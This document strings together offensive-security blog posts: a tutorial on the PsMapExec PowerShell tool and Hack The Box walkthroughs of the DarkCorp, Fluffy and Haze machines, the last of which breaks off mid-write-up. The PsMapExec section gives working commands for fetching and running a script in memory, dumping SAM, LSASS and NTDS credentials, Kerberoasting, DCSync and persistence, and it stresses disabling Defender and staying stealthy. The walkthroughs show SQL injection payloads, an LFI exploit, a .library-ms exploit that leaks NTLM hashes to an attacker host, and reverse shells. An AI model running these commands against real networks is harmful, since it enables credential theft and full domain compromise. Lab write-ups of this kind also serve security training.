Welcome back, aspiring cyberwarriors!
During the past few months, we have been covering different ways to use PowerShell to survive, cause mayhem, and hack systems. We have also collected and created scripts for various purposes, stored in our repository for all of you to use. All these tools are extremely useful during pentests. As you know, with great power comes great responsibility. Today we will cover another tool that will significantly improve how you interact with systems. It’s called PsMapExec.
It was developed by The-Viper-One, inspired by CrackMapExec and its successor NetExec. Although PsMapExec doesn’t have identical capabilities to NetExec, it offers much greater stealth since it can be loaded directly into memory without ever touching the disk. Stealth remains one of the top priorities in hacking. Beyond that, the tool can execute commands even without knowing the password. It’s a big advantage when you gain access to a protected user during phishing or privilege escalation stages of a test.
The script has been around for a while but hasn’t gained much attention. That’s one of the reasons we decided to introduce it here. Like most publicly available offensive tools, it will get flagged by Defender if loaded directly. Skilled hackers often modify such scripts while keeping their core functionality intact, which helps them evade detection. Many offensive scripts rely on native Windows functions, and since those calls can’t be flagged, Microsoft and other vendors often rely on static keyword-based detection instead.
Finding a machine with no active antivirus isn’t always easy but is almost always possible. There are ways to bypass UAC, dump SAM hashes, modify the registry to allow pass-the-hash attacks, and then use a reverse proxy to connect via RDP. Once you have GUI access, your options widen. This approach isn’t the most stealthy, but it remains a reliable one.
Once Defender is disabled, you can move forward and test the script. Let’s explore some of its capabilities.
To avoid touching the disk and leaving unnecessary forensic traces, it’s best to execute the script directly in memory. You can do this with the following command:
PS > IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")
Once it’s loaded, we can proceed.
One of the first logical steps after gaining access to a host is dumping its hashes. SAM and LSASS attacks are among the most common ways to recover credentials. SAM gives you local user account hashes, while LSASS provides hashes of all connected users, including domain administrators and privileged accounts. In some organizations, critical users may belong to the Protected Users Group, which prevents their credentials from being cached in memory. While not a widespread practice, it’s something worth noting.
To dump local accounts from a single machine:
PS > PsMapExec smb -Targets MANAGER-1 -Module SAM -ShowOutput
To dump local accounts from all machines in a domain:
PS > PsMapExec smb -Targets all -Module SAM -ShowOutput
The output is clean and only includes valid local accounts.
LSASS (Local Security Authority Subsystem Service) handles authentication on Windows systems. When you log in, your credentials are sent to the Domain Controller for validation, and if approved, you get a session token. Domain credentials are only stored temporarily on local machines. Even when a session is locked, credentials may still reside in memory.
To dump LSASS locally using an elevated shell:
PS > PsMapExec smb -Targets “localhost” -Module “LoginPasswords” -ShowOutput
If the current user doesn’t have permission, specify credentials manually:
PS > PsMapExec smb -Targets “DC” -Username “user” -Password “password” -Module “LoginPasswords” -ShowOutput
You can also perform this remotely with the same syntax.
Every network is different. Some environments implement segmentation to prevent lateral movement, which adds complexity. The process of discovering the right hosts to pivot through is called pivoting.
To view network interfaces on all domain machines:
PS > PsMapExec SMB -Target all -Username “user” -Password “password” -Command “ipconfig” -Domain “sekvoya.local”
To query a single machine:
PS > PsMapExec SMB -Target “DC” -Username “user” -Password “password” -Command “ipconfig” -Domain “sekvoya.local”
You can execute other reconnaissance commands in the same way. After identifying valuable hosts, you may want to enable WINRM for stealthier interaction:
PS > PsMapExec SMB -Target “MANAGER-1” -Username “user” -Password “password” -Command “winrm quickconfig -q” -Domain “sekvoya.local”
Another valuable module PsMapExec provides is Kerbdump, which allows you to dump Kerberos tickets from remote memory. These tickets can be extracted for offline analysis or attacks such as Pass-the-Ticket. In Active Directory environments, Kerberos is responsible for issuing and validating these “passes” for authentication.
Some domains may disable NTLM for security reasons, which means you’ll rely on Kerberos. It’s a normal and frequent part of AD traffic, making it a subtle and effective method.
PS > PsMapExec -Method smb -Targets DC -Username “user” -Password “password” -Module “KerbDump” -ShowOutput
The script parses the output automatically and gives you usable results.
Kerberoasting is a different kind of attack compared to simply dumping tickets. It focuses on obtaining Kerberos service tickets and brute-forcing them offline to recover plaintext credentials. The main idea is to assign an SPN to a target user and then extract their ticket.
Set an SPN for a user:
PS > PsMapExec ldap -Targets DC -Module AddSPN -TargetDN “CN=username,DC=SEKVOYA,DC=LOCAL”
Then kerberoast that user:
PS > PsMapExec kerberoast -Target “DC” -Username “user” -Password “password” -Option “kerberoast:adm_ivanov” -ShowOutput
This technique is effective for persistence and privilege escalation.
Kerberos tickets are encrypted using special encryption keys. Extracting these allows you to decrypt or even forge tickets, which can lead to deeper persistence and movement within the domain.
PS > PsMapExec wmi -Targets all -Module ekeys -ShowOutput
Targeting all machines in a big domain can create noise and compromise operational security.
Another attack that targets Active Directory environments by exploiting how computers sync their clocks using the Network Time Protocol (NTP). In simple terms, it’s a way for hackers to trick a Domain Controller into revealing password hashes for computer accounts. These hashes can then be cracked offline to get the actual passwords, helping attackers move around the network or escalate privileges. Computer passwords are often long and random, but if they’re weak or reused, cracking succeeds. No alerts are triggered since it’s a normal time-sync query. The attack is hard to pull off, but it’s possible. When a new computer account is configured as a “pre-Windows 2000 computer”, its password is set based on its name. If the computer account name is MANAGER$ and it’s configured as “pre-Windows 2000 computer”, then the password will be lowercase computer name without the trailing $). When it isn’t configured like that, the password is randomly generated.
PS > PsMapExec ldap -Targets DC -Module timeroast -ShowOutput
Finding interesting or sensitive files on remote systems is an important phase in any engagement. PsMapExec’s Files module automatically enumerates non-default files within user directories.
PS > PsMapExec wmi -Targets all -Module Files -ShowOutput
ACL persistence is a critical step after compromising an Active Directory domain. Credentials will rotate, hackers make mistakes that reveal their presence, and administrators will take measures to evict intruders. Implementing ACL-based persistence allows an attacker to maintain control over privileged groups or to perform DCSync attacks that extract directory data. For those unfamiliar, DCSync is an attack in which you impersonate a domain controller and request replication of the NTDS.dit data from a legitimate DC. Once obtained, the attacker acquires password hashes for all domain accounts, including the krbtgt account. Some recommend burning the domain down after a successful DCSync, because attackers will find ways to regain access.
You might think, “Okay, reset the KRBTGT password” Microsoft recommends doing this twice in quick succession. The first reset changes the hash for new tickets, and the second clears out the old history to fully invalidate everything. But that’s often not enough. Even after a reset, any Golden Tickets the attackers already forged remain usable until they expire. Default ticket lifetimes are 7-10 hours for sessions, but attackers can make them last up to 10 years! During this window, hackers can dig in deeper by creating hidden backdoor accounts, modifying group policies, or infecting other machines.
Assign DCSync privileges:
PS > PsMapExec ldap -Target DC -Module Elevate -TargetDN “CN=username,DC=SEKVOYA,DC=LOCAL”
The NTDS dump is the final stage once domain admin privileges are obtained. Extracting NTDS.dit and associated registry hives allows for offline cracking and full credential recovery.
PS > PsMapExec SMB -Targets “DC” -Username “user” -Password “password” -Module NTDS -ShowOutput
This provides complete domain compromise capabilities and the ability to analyze or reuse credentials at will.
PsMapExec is a powerful framework that takes PowerShell-based network exploitation to a new level. It combines stealth and practicality, making it suitable for both red teamers and penetration testers who need to operate quietly within Windows domains. Its ability to run fully in memory minimizes traces, and its modules cover nearly every stage of network compromise, from reconnaissance and privilege escalation to persistence and data extraction. While we only explored some of its most impactful commands, PsMapExec offers far more under the hood. The more you experiment with it, the more its potential becomes evident.
Want to become a Powershell expert? Join our Powershell for Hackers training, March 10-12!
In this writeup, we will explore the “DarkCorp” machine from Hack The Box, categorized as an Insane difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
The goal of this walkthrough is to complete the “DarkCorp” machine from Hack The Box by achieving the following objectives:
User Flag:
Gained initial foothold via the webmail/contact vector, registered an account, abused the contact form, and executed a payload to spawn a reverse shell. From the shell, read user.txt to capture the user flag.
Root Flag:
Performed post-exploitation and credential harvesting (SQLi → hashes → cracked password thePlague61780, DPAPI master key recovery and Pack_beneath_Solid9! recovered), used recovered credentials and privilege escalation techniques to obtain root, then read root.txt to capture the root flag.
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
Login
nmap -sC -sV -oN nmap_initial.txt 10.10.11.54Nmap Output:
┌─[dark@parrot]─[~/Documents/htb/darkcorp]
└──╼ $nmap -sC -sV -oA initial 10.10.11.54
# Nmap 7.94SVN scan initiated Sun Aug 17 03:07:38 2025 as: nmap -sC -sV -oA initial 10.10.11.54
Nmap scan report for 10.10.11.54
Host is up (0.18s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
|_ 256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 17 03:08:04 2025 -- 1 IP address (1 host up) scanned in 25.73 seconds
┌─[dark@parrot]─[~/Documents/htb/darkcorp]
└──╼ $
Analysis:
Nothing noteworthy was found on the website itself.
A subdomain was discovered that leads to the DripMail Webmail interface.
As a next step, proceed to register a new account.
Enter the required information to create the new account.
We successfully created the account, confirming that the DripMail Webmail portal’s registration process works correctly. This indicates that user registration is open; therefore, we can interact with the mail system. Consequently, this may enable further exploration, including login, email sending, and service enumeration.
A new email appeared in the inbox from no-reply@drip.htb, indicating that the system had sent an automated message; moreover, it may contain a verification notice, onboarding information, or credential-related details, all of which are worth reviewing for further clues.
However, it turned out to be just a welcome email from no-reply@drip.htb, providing no useful information.
The site includes a contact form that attackers could potentially exploit.
We entered a non-deterministic key value into the input.
We sent the message successfully, confirming that the contact form works and accepts submissions.
Burp shows the contact form submission (POST) carrying the random key and payload, followed by a successful response.
We modified the contact-form recipient field and replayed the POST via Burp Repeater; the server returned 200 OK, and it delivered the message to admin@drip.htb.
We received a request for customer information.
Let’s start our listener
Insert the base64-encoded string into the message.
The Burp Suite trace looks like the following.
A staff member sent an email.
We need to change the password.
After setting the payload, we received a password reset link.
Let’s change the password as needed
We are provide with a dashboard
We accessed the user overview and discovered useful information.
The application is vulnerable to SQL injection.
The input is an SQL injection payload that closes the current query and injects a new one: it terminates the original statement, runs
SELECT table_name FROM information_schema.tables WHERE table_schema=’public’;
and uses — to comment out the remainder. This enumerates all table names in the public schema; the response (Users, Admins) shows the database exposed those table names, confirming successful SQLi and information disclosure.
The payload closes the current query and injects a new one:
SELECT column_name FROM information_schema.columns WHERE table_name=’Users’;–
which lists all column names for the Users table. The response (id, username, password, email, host_header, ip_address) confirms successful SQLi-driven schema enumeration and reveals sensitive columns (notably password and email) that could enable credential or user-data disclosure.
Obtained password hashes from the Users table (Users.password). These values are opaque; we should determine their type, attempt to crack only with authorisation, and protect them securely.
The SQL command SELECT pg_ls_dir('./'); invokes PostgreSQL’s pg_ls_dir() function to list all files and directories in the server process’s current directory (typically the database data or working directory). Because pg_ls_dir() exposes the filesystem view, it can reveal configuration files or other server-side files accessible to the database process — which is why it’s often used during post‑exploitation or SQLi-driven reconnaissance. Importantly, this function requires superuser privileges; therefore, a non‑superuser connection will be denied. Consequently, successful execution implies that the user has elevated database permissions.
The SQL command SELECT pg_read_file('PG_VERSION', 0, 200); calls PostgreSQL’s pg_read_file() to read up to 200 bytes starting at offset 0 from the file PG_VERSION on the database server. PG_VERSION normally contains the PostgreSQL version string, so a successful call discloses the DB version to the attacker — useful for fingerprinting — and typically requires superuser privileges, making its successful execution an indicator of elevated database access and a potential information‑disclosure risk.
Returning down the path, I spotted one; it would impress those who have beaten Cerberus…/../../ssssss
SSSD maintains its own local ticket credential caching mechanism (KCM), managed by the SSSD process. It stores a copy of the valid credential cache, while the corresponding encryption key is stored separately in /var/lib/sss/secrets/secrets.ldb and /var/lib/sss/secrets/.secrets.mkey.
Finally, we successfully received a reverse shell connection back to our machine; therefore, this confirmed that the payload executed correctly and established remote access as intended.
Nothing of significance was detected.
Discovered the database username and password.
Elevate the current shell to an interactive TTY.
The encrypted PostgreSQL backup dev-dripmail.old.sql.gpg is decrypted using the provided passphrase, and the resulting SQL dump is saved as dev-dripmail.old.sql. Consequently, this allows further inspection or restoration of the database for deeper analysis or recovery.
The output resembles what is shown above.
Found three hashes that can be cracked with Hashcat.
We successfully recovered the password thePlague61780.
Since Hashcat managed to crack only one hash, we’ll therefore use CrackStation to attempt cracking the remaining two.
Update the configuration file.
Established an SSH session to the machine as ebelforrd.
No binary found
Found two IP addresses and several subdomains on the target machine.
Update the subdomain entries in our /etc/hosts file.
sshuttle and dnschefUse sshuttle to connect to the server and route traffic (like a VPN / port forwarding).
Additionally, dnschef was used to intercept and spoof DNS traffic during testing.
Log in using the victor.r account credentials.
Click the check button to get a response
Replace the saved victor.r login details in Burp Suite.
Testing the suspected host and port for reachability.
Begin the NTLM relay/replay attack.
Leverage socatx64 to perform this activity.
An LDAP interactive shell session is now running.
Run get_user_groups on svc_acc to list their groups.
Retrieved the SID associated with this action.
Retrieved the administrator.ccache Kerberos ticket.
We can read the user flag by typing “type user.txt” command
Privilege Escalation:
Transfer sharpdpapi.exe to the target host.
Attempting to evade Windows Defender in a sanctioned test environment
The output reveals a DPAPI-protected credential blob located atC:\Users\Administrator\AppData\Local\Microsoft\Credentials\32B2774DF751FF7E28E78AE75C237A1E. It references a master key with GUID {6037d071-...} and shows that the blob is protected using system-level DPAPI (CRYPTPROTECT_SYSTEM), with SHA-512 for hashing and AES-256 for encryption. Since the message indicates MasterKey GUID not in cache, the decryption cannot proceed until the corresponding master key is obtained — either from the user’s masterkey file or by accessing a process currently holding it in memory.
This output shows a DPAPI local credential file at C:\Users\Administrator\AppData\Local\Microsoft\Credentials\ with the filename 32B2774DF751FF7E28E78AE75C237A1E. The system protects it using a DPAPI master key (GUID {6037d071-cac5-481e-9e08-c4296c0a7ff7}), applies SHA-512 for hashing, and uses AES-256 for encryption. Because the master key isn’t currently in the cache, we can’t decrypt the credential blob until we obtain that master key (for example from the masterkey file) or access the process that holds it in memory.
Direct file transfer through evil-winrm was unsuccessful.
Transform the file into base64 format.
We successfully recovered the decrypted key; as noted above, this confirms the prior output and therefore enables further analysis.
Successfully recovered the password Pack_beneath_Solid9!
Retrieval of angela.w’s NT hash failed.
Attempt to gain access to the angela.w account via a different method.
Acquired the hash dump for angela.w.
Save the ticket as angela.w.adm.ccache.
Successful privilege escalation to root.
Retrieved password hashes.
Password reset completed and new password obtained.
Enumerated several GPOs in the darkcorp.htb domain; additionally, each entry shows the GPO GUID, display name, SYSVOL path, applied extension GUIDs, version, and the policy areas it controls (registry, EFS policy/recovery, Windows Firewall, security/audit, restricted groups, scheduled tasks). Furthermore, the Default Domain Policy and Default Domain Controllers Policy enforce core domain and DC security — notably, the DC policy has many revisions. Meanwhile, the SecurityUpdates GPO appears to manage scheduled tasks and update enforcement. Therefore, map these SYSVOL files to find promising escalation vectors: for example, check for misconfigured scheduled tasks, review EFS recovery settings for exposed keys, and identify privileged group memberships. Also, correlate GPO versions and recent changes to prioritize likely targets.
BloodHound identifies taylor as GPO manager — pyGPOAbuse is applicable, pending discovery of the GPO ID.
Force a Group Policy update using gpupdate /force.
Display the root flag with type root.txt.
The post Hack The Box: DarkCorp Machine Walkthrough – Insane Difficulity appeared first on Threatninja.net.
In this write-up, we will explore the “Fluffy” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Machine Information
In this scenario, similar to real-world Windows penetration tests, you begin the Fluffy machine with the following credentials: j.fleischman / J0elTHEM4n1990!.
The goal of this walkthrough is to complete the “Fluffy” machine from Hack The Box by achieving the following objectives:
Initial access was gained by exploiting CVE-2025-24071 with a malicious .library-ms file delivered via SMB. The victim’s NTLMv2-SSP hash was captured with Responder and cracked using Hashcat (mode 5600), revealing prometheusx-303. Domain enumeration with BloodHound showed p.agila@fluffy.htb had GenericAll rights over Service Accounts, enabling control of winrm_svc.
We escalated privileges by abusing the ca_svc account, which is a member of Service Accounts and Cert Publishers, granting it AD CS access. Using Certipy, we identified an ESC16 vulnerability, updated ca_svc’s userPrincipalName to impersonate the administrator, generated a certificate, and obtained both a TGT and the NT hash.
Begin with a network scan to identify open ports and running services on the target machine.
nmap -sV -sC -oA initial -Pn 10.10.11.69┌─[dark@parrot]─[~/Documents/htb/fluffy]
└──╼ $nmap -sV -sC -oA initial -Pn 10.10.11.69
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-18 02:49:59Z)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
445/tcp open microsoft-ds?464/tcp open kpasswd5?
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-18T02:51:30+00:00; +4h17m24s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-18T02:51:30+00:00; +4h17m24s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17Analysis:
We discovered the Samba share as shown above.
By using impacket-smbclient with the provided credentials, we were able to gain access as shown above.
There are several files saved inside the directory, but one file in particular caught my attention — Upgrade_Notice.pdf.
We proceeded to download the PDF to our local machine.
The PDF outlines the upgrade process and highlights several key vulnerabilities:
.library-ms files in archives trigger SMB connections, leaking NTLM hashes without user action.mholt/archiver, allowing crafted ZIPs to write files outside intended directories, risking data overwrite or misuse.No other significant information appeared that we could leverage in this context.
The exploit dynamically creates an XML file with a hardcoded SMB path (\\attacker_ip\shared), which Windows automatically processes:
library_content = f"""
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\\\{ip_address}\\shared</url> <!-- Vulnerable: Triggers SMB -->
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>"""Therefore, we proceeded to exploit it using the manual method, starting with the creation of a malicious .library-ms file.
Once the malicious .library-ms file is successfully created, it needs to be compressed into a ZIP archive.
Initiate the Responder and monitor the incoming network packets for analysis.
As a result, we transferred the malicious.zip to the victim’s machine using smbclient.
We captured the NTLMv2-SSP hash and can now attempt to crack it.
The hash was successfully cracked within one minute, revealing the password: prometheusx-303.
We proceeded to enumerate the environment using BloodHound.
The account p.agila@fluffy.htb is a member of the Service Account Managers@fluffy.htb group, which has GenericAll permissions over the Service Accounts@fluffy.htb group. This means p.agila can fully manage members of the Service Accounts group, including adding, removing, or modifying accounts — a powerful privilege that can be leveraged for privilege escalation.
The accounts ldap_svc@fluffy.htb, ca_svc@fluffy.htb, and winrm_svc@fluffy.htb all belong to the service accounts@fluffy.htb group. They share similar privilege levels and likely support service-related operations, creating a common attack surface if an attacker compromises any one of them.
The domain hierarchy shows that authenticated users@fluffy.htb are members of everyone@fluffy.htb, with domain users inheriting from both authenticated users and users. Authenticated users also have pre-Windows 2000 and Certificate Service DCOM access. The ca_svc account belongs to domain users, service accounts, and cert publishers. While cert publishers is part of the Denied RODC Password Replication Group (blocking password replication to RODCs), it retains certificate publishing rights.
It is also possible to add the user p.agila to the SERVICE ACCOUNTS group.
This process retrieves the NT hash, and you can repeat it for the other two users. The name winrm_svc indicates that you can access it directly through WinRM and authenticate using the hash.
The command uses Certipy to authenticate as the user winrm_svc with a captured NT hash against the domain controller DC01.fluffy.htb. By specifying both the domain controller IP and the target IP, it attempts to perform a pass-the-hash attack, enabling access without needing the plaintext password.
This data contains a substantial amount of information that requires careful analysis and processing.
I noticed the presence of the Cert Publishers group.
We can access the machine using the winrm_svc account by leveraging its NT hash.
We can read the user flag by executing the command type user.txt.
Privilege Escalation:
This command leverages Certipy in combination with ntpdate to adjust the system time, targeting the user ca_svc with the specified NT hash against the domain fluffy.htb. The -stdout option directs the output to the console, and the -vulnerable flag identifies potentially exploitable accounts or services. This method facilitates pass-the-hash or Kerberos-related enumeration while accounting for time-based restrictions in the environment.
The Certificate Authority (CA) DC01.fluffy.htb is vulnerable to ESC16, a misconfiguration that allows abusing certificate templates for privilege escalation. While the WINRM_SVC account lacks elevated privileges, its CA access provides a path to target higher-privileged accounts, such as the administrator.
Vulnerabilities
ESC16: The disabled Security Extension leaves the system susceptible to abuse.
Remarks
ESC16 may require additional prerequisites. Refer to the official wiki for guidance.
We executed the Certipy account command to update the ca_svc account on the fluffy.htb domain. Using the credentials of p.agila@fluffy.htb (prometheusx-303) and targeting the domain controller at 10.10.11.69, we modified the account’s userPrincipalName to administrator. This modification allows the account to perform actions with elevated privileges, enabling further privilege escalation within the environment.
Using Certipy’s shadow command, we performed automated Kerberos-based credential extraction for the ca_svc account on fluffy.htb. Authenticated as p.agila@fluffy.htb (prometheusx-303) and targeting 10.10.11.69, Certipy generated a certificate and key credential, temporarily added it to ca_svc’s Key Credentials, and authenticated as ca_svc. It obtained a TGT, saved the cache to ca_svc.ccache, and retrieved the NT hash (ca0f4f9e9eb8a092addf53bb03fc98c8). Certipy then restored ca_svc’s original Key Credentials. Finally, we set KRB5CCNAME=ca_svc.ccache to enable subsequent Kerberos operations with the extracted credentials.
Using Certipy, we issued a certificate request with the req command, targeting the domain controller DC01.FLUFFY.HTB and the Certificate Authority fluffy-DC01-CA, while specifying the User template. Although we did not explicitly provide the DC host, Kerberos authentication handled the request over RPC. The Certificate Authority successfully processed the request (Request ID 15) and issued a certificate for the administrator user principal. The certificate did not include an object SID, with a note suggesting the -sid option if needed. We saved the certificate and its private key to administrator.pfx, completing the process.
The command uses Certipy to update the ca_svc account on the domain fluffy.htb. Authenticated as p.agila@fluffy.htb with the password prometheusx-303 and targeting the domain controller at 10.10.11.69, the account’s userPrincipalName is set to ca_svc@fluffy.htb. Certipy confirms that the update was successful, ensuring the ca_svc account reflects the correct user principal name for subsequent operations.
Using Certipy, the auth command was executed to authenticate as the administrator user on the domain fluffy.htb using the certificate stored in administrator.pfx. The tool identified the certificate’s SAN UPN as administrator and used it to request a Ticket Granting Ticket (TGT) from the domain controller at 10.10.11.69. The TGT was successfully obtained and saved to the credential cache file administrator.ccache. Certipy then retrieved the NT hash for administrator@fluffy.htb, which can be used for subsequent authentication or privilege escalation activities.
We accessed the target machine via WinRM using either the authenticated credentials or the extracted NT hash, which enabled remote command execution on the system.
We can read the root flag by executing the command type root.txt.
The post Hack The Box: Fluffy Machine Walkthrough – Easy Difficulity appeared first on Threatninja.net.
In this write-up, we’ll go step-by-step through the Haze machine from Hack The Box, rated medium difficulty. The box involves exploring a Windows Active Directory (AD) environment with Splunk services. The path includes abusing a Splunk vulnerability, moving through Active Directory, and escalating privileges to grab both the user and root flags.
The goal is to complete Haze by achieving the following:
Using the decrypted paul.taylor password (Ld@p_Auth_Sp1unk@2k24) from splunksecrets, I gained WinRM access as mark.adams. After enumerating AD with netexec and retrieving the Haze-IT-Backup gMSA NTLM hash, I used PyWhisker and Certipy for a Shadow Credentials attack on edward.martin. This provided edward.martin’s NT hash, enabling WinRM access to read the user flag with type user.txt. Troubleshooting BloodyAD authentication issues was key to progressing through AD exploitation.
With Splunk admin credentials from a decrypted backup hash, I uploaded a malicious .tar.gz app containing a reverse shell to Splunk’s web interface (port 8000). The shell, caught via nc -lvnp 4444, had SeImpersonatePrivilege. Using SweetPotato, I escalated to NT SYSTEM and read the root flag with type root.txt. Fixing tar file upload errors ensured successful shell delivery.
We begin with a basic Nmap scan to identify services on the machine:
nmap -sC -sV 10.10.11.61 -oA initial
┌─[dark@parrot]─[~/Documents/htb/haze]
└──╼ $nmap -sC -sV 10.10.11.61 -oA initial
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-21 03:39 EDT
Nmap scan report for haze.htb (10.10.11.61)
Host is up (0.037s latency).
Not shown: 986 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-21 12:16:18Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
8000/tcp open http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://haze.htb:8000/en-US/account/login?return_to=%2Fen-US%2F
8088/tcp open ssl/http Splunkd httpd
|_http-title: 404 Not Found
8089/tcp open ssl/http Splunkd httpd
|_http-title: splunkd
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
|_http-server-header: Splunkd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.13 secondsAnalysis:
Navigated to http://haze.htb:8000, which presented a Splunk Enterprise login page, indicating a web-based attack surface.
Visited http://haze.htb:8088, which returned a 404 error, suggesting no exploitable content.
Accessed http://haze.htb:8089, revealing a Splunk Atom feed that leaked the version (9.2.1), critical for identifying vulnerabilities.
Searched for Splunk 9.2.1 exploits, finding CVE-2024-36991, a local file inclusion (LFI) vulnerability allowing unauthorised file access:
The Splunk 9.2.1 authentication.conf documentation explains how Splunk manages user authentication. It defines how credentials are stored, including LDAP bindings, and supports integrating with external authentication systems. Misconfigurations here can expose sensitive data—like encrypted passwords and bindDNs—making it a critical target for exploitation during assessments
Think of your computer or phone as a house with many doors and windows. Each one is a way to interact with the device. Now, imagine one of the locks isn’t working properly—it looks secure, but a clever intruder could still get in.
CVE-2024-36991 is like that broken lock, but in software. It’s a hidden flaw that, if found by the wrong person, could let them sneak into the system without permission. They might steal data, cause damage, or disrupt how things work.
The good news is that once these flaws are discovered, the developers usually fix them quickly, like calling a locksmith to repair a faulty lock. That’s why it’s so important to keep your apps and devices updated. Updates are your best defence against these types of security issues.
Downloaded the CVE-2024-36991 PoC to test the LFI vulnerability
I downloaded the publicly available proof-of-concept (PoC) and tested it using curl to retrieve sensitive configuration files, such as authentication.conf
The exploit was successful and allowed access to /etc/passwd, dumping several user password hashes
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=Although hashcat didn’t crack the hashes within a 5-minute test, the PoC also revealed an encrypted bindDNpassword used in Splunk’s LDAP integration:
Knowing that Splunk stores a symmetric key in splunk.secret, I used the same LFI to retrieve that key. With both the encrypted password and the key, I used the splunksecrets tool to attempt decryption.
Installed Splunksecrets to decrypt the hash
Diagnosis:
Downgraded cryptography to a compatible version
I’m currently facing a fairly common issue—it’s related to how a Python package references the cryptography library. In this case, the splunksecrets package is trying to import a module from cryptography.hazmat.decrepit, which doesn’t exist. The correct path should be cryptography.hazmat.primitives.
To fix this, I’ll need to manually edit the file located at:
/home/dark/.local/lib/python3.12/site-packages/splunksecrets/splunk.pyOn line 6, the import statement needs to be corrected.
Current line:
from cryptography.hazmat.decrepit.ciphers.algorithms import ARC4Updated line:
from cryptography.hazmat.primitives.ciphers.algorithms import ARC4Once that’s updated, it should resolve the issue.
